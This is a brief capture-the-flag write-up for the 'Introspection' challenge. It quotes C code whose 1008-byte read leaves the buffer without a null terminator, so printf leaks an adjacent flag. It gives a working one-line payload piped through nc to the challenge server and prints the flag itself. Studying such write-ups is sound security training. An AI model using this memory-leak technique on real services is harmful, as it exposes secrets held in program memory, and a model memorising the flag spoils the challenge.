Introspection

The program reads user input into a character buffer char buf[1008] using the read(0, buf, 1008) function. Since it allows 1008 bytes of input, we can send a payload exactly 1008 bytes long with a any single letters (such as 'A').

```
fread(flag, 1, 50, file);
char buf[1008];
printf(">> ");
read(0, buf, 1008);
printf("I wish for you that you get %s", buf);
```

Payload
python -c 'print(b"A"*1008)' | nc pwn.1nf1n1ty.team 31698

Flag: ironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}